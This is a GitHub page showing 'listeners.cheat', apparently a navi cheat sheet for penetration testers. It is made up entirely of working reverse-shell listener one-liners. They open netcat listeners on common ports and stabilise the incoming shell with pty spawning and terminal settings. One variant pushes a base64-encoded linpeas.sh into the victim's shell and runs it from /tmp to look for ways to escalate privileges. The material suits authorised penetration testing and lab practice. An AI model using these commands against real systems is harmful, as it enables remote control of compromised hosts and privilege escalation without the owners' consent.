-
Notifications
You must be signed in to change notification settings - Fork 16
Expand file tree
/
Copy pathlisteners.cheat
More file actions
14 lines (10 loc) · 1.56 KB
/
Copy pathlisteners.cheat
File metadata and controls
14 lines (10 loc) · 1.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
% Listeners
$ port: echo '9001 443 1234 4444 32000' | tr ' ' '\n'
$ shell: echo '/bin/bash /bin/zsh /bin/ash /bin/dash /bin/ksh /bin/sh bash zsh ash dash ksh sh' | tr ' ' '\n'
$ term: echo 'screen xterm xterm-256color' | tr ' ' '\n'
# stabilised shell
$ stabiliser: echo 'script -qc "<shell>" /dev/null#python -c "import pty;pty.spawn(\"<shell>\")"#python3 -c "import pty;pty.spawn(\"<shell>\")"' | tr '#' '\n'
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ coreutils ]' -c stty raw -echo; (echo '<stabiliser>';echo pty;echo "stty$(stty -a | awk -F ';' '{print $2 $3}' | head -n 1)";echo export PATH=\$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp;echo export TERM=<term>;echo alias ll='ls -lsaht'; echo clear; echo id;cat) | nc -lvnp <port> && reset
# linpeas listener
$ linpeas: find "$(pwd)" -type f -name 'linpeas.sh' 2>/dev/null | sort -u | tail -n 1; printf '%s\n' ./linpeas.sh
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ coreutils ]' -c stty raw -echo; (echo '<stabiliser>';echo pty;echo "stty$(stty -a | awk -F ';' '{print $2 $3}' | head -n 1)";echo export PATH=\$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp;echo export TERM=<term>;echo alias ll='ls -lsaht'; echo clear;echo "echo $(cat <linpeas> | base64 -w 0) | base64 -d > /tmp/linpeas.sh; sh /tmp/linpeas.sh";cat) | nc -lvnp <port> && reset